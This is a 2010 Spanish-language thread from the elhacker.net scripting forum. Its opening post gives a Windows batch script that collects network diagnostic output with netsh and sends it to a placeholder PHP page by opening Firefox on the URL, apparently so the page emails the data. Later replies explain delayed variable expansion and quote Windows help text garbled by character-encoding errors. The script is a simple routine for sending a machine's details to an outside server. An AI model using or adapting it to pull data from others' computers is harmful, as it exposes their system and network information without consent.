Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: zerocoolcom en 31 Mayo 2010, 09:34 am



Título: codigo para enviar datos de computadora a correo
Publicado por: zerocoolcom en 31 Mayo 2010, 09:34 am
Código
  1. @echo off
  2. call :obtenerdatos
  3. call :enviarcorreo
  4. :obtenerdatos
  5. echo http://pagina.enviarmensajes/index.php?mensaje=^" > "c:\archivo.txt"
  6. netsh diag show all >> "c:\archivo.txt"
  7. echo ^" >> "c:\archivo.txt"
  8. echo 'type "c:\archivo.txt"'
  9. goto :EOF
  10. :enviarcorreo
  11.  
  12. setlocal enabledelayedexpansion
  13. set SEPARATOR=/
  14. set filecontent=
  15. for /f "delims=" %%a in ('type "c:\archivo.txt"') do (
  16. set currentline=%%a
  17. set filecontent=!filecontent!!currentline!
  18. )
  19. start firefox %filecontent%
  20. goto :EOF

se agradece mucho a Leo Gutiérrez q resolvio una de las 2 dudas y cabe resaltar q la parte q coloca un archivo en una variable no es mio fue tomado de una pagina q no se cual es
lo unico q tienen q hacer para q corra a la perfeccion es hacer una pagina en un servidor q interprete php ( en este caso la ficticia http://pagina.enviarmensajes/index.php) donde envien un correo con una variable q se llame mensaje donde ira el cuerpo del mensaje solamente espero les guste si no pues ni pexx jajajajaj :laugh: :laugh:


Título: Re: codigo para enviar datos de computadora a correo
Publicado por: flony en 31 Mayo 2010, 13:13 pm
esta parte no la entiendo
Código:
set filecontent=!filecontent!!currentline!

y
Código:
echo ^"
se q va a parar a archivo.txt lo q no se es q va a parar ahi


Título: Re: codigo para enviar datos de computadora a correo
Publicado por: xassiz_ en 1 Junio 2010, 00:00 am
esta parte no la entiendo
Código:
set filecontent=!filecontent!!currentline!
Simples variables.

Código:
echo ^"
se q va a parar a archivo.txt lo q no se es q va a parar ahi
Está mal, no hace falta escapar el caracter de comillas dobles


Título: Re: codigo para enviar datos de computadora a correo
Publicado por: leogtz en 1 Junio 2010, 00:48 am
esta parte no la entiendo
Código:
set filecontent=!filecontent!!currentline!
Simples variables.

Código:
echo ^"
se q va a parar a archivo.txt lo q no se es q va a parar ahi
Está mal, no hace falta escapar el caracter de comillas dobles

Código:
No hacer falta != Estar mal


Título: Re: codigo para enviar datos de computadora a correo
Publicado por: zerocoolcom en 1 Junio 2010, 05:09 am
esta parte no la entiendo
Código:
set filecontent=!filecontent!!currentline!
Simples variables.

Código:
echo ^"
se q va a parar a archivo.txt lo q no se es q va a parar ahi
Está mal, no hace falta escapar el caracter de comillas dobles


Es q como les habia mencionado esto es para enviar un correo desde un batch lo q hace es llamar a una pagina php teniendo como parametros el mensaje y el mensaje lo puse entre comillas para q no me marcara error al ingresar la direccion asi q si vieramos lo q tiene el archivo de texto tendriamos

http://pagina.enviarmensajes/index.php?mensaje="informacion q recopilamos"

esa es la razon de esa comilla espero haber respondido a lo q me preguntabas si no ahi me lo haces saber  ;D



con respecto a la otra cuestion a lo mejor lo raro son los ! ! y los ocupan para expandir las variables para evitar problemas en algunos loops o recursamientos o como los quieras llamar.

aqui esta la ayuda de windows donde viene explicado

Finalmente, se ha a¤adido compatibilidad para la expansi¢n de la variable
retardada.
Este soporte est  siempre deshabilitado de forma predeterminada, pero puede
habilitarse o deshabilitarse a trav‚s del modificador de l¡nea de comandos
/V a CMD.EXE.  Ver CMD /?

La expansi¢n de la variable de entorno es £til para tratar con las
limitaciones de la expansi¢n actual, las cuales ocurren cuando una l¡nea de
texto es le¡da,  y no cuando se ejecuta.  El siguiente ejemplo demuestra el
problema con la expansi¢n de la variable inmediata:

   set VAR=antes
   if "%VAR%" == "antes" (
       set VAR=despu‚s
       if "%VAR%" == "despu‚s" @echo Si esto se puede ver, entonces
                        significa que funcion¢
   )

dado que %VAR% se sustituye al mismo tiempo en ambas instrucciones IF
cuando se lee la primera instrucci¢n IF, pues incluye l¢gicamente al cuerpo
del IF, el cual es una instrucci¢n compuesta. De esta manera, IF, dentro de
la instrucci¢n compuesta est  realmente comparando "antes" con "despu‚s" lo cu l
nunca ser  igual. De un modo parecido, el siguiente ejemplo no funcionar 
como se espera:

    set LIST=
    for %i in (*) do set LIST=%LIST% %i
    echo %LIST%

en esto NO generar  una lista de archivos en el directorio actual, pero en
su lugar establecer  la variable LIST en el £ltimo archivo encontrado. De
nuevo, esto ocurre porque %LIST% es expandido s¢lo una vez cuando la
opci¢n FOR es le¡da, y en ese momento la variable LIST variable est  vac¡a.
As¡ el ciclo actual FOR que se est  ejecutando es:

    for %i in (*) do set LIST= %i

el cual s¢lo mantiene el valor LIST hasta el £ltimo archivo encontrado.

La expansi¢n de la variable de entorno retardada permite utilizar un
car cter diferente (el signo de exclamaci¢n para expandir variables en
tiempo de ejecuci¢n.  Si la expansi¢n de la variable retardada est 
habilitada, los ejemplos se pueden escribir de la siguiente manera para
que funcionen como es necesario:

    set VAR=antes
    if "%VAR%" == "antes" (
        set VAR=despu‚s
        if "!VAR!" == "despu‚s" @echo Si esto se puede ver, entonces
                       significa que funcion¢
    )

    set LIST=
    for %i en (*) do set LIST=!LIST! %i
    echo %LIST%


espero te ayude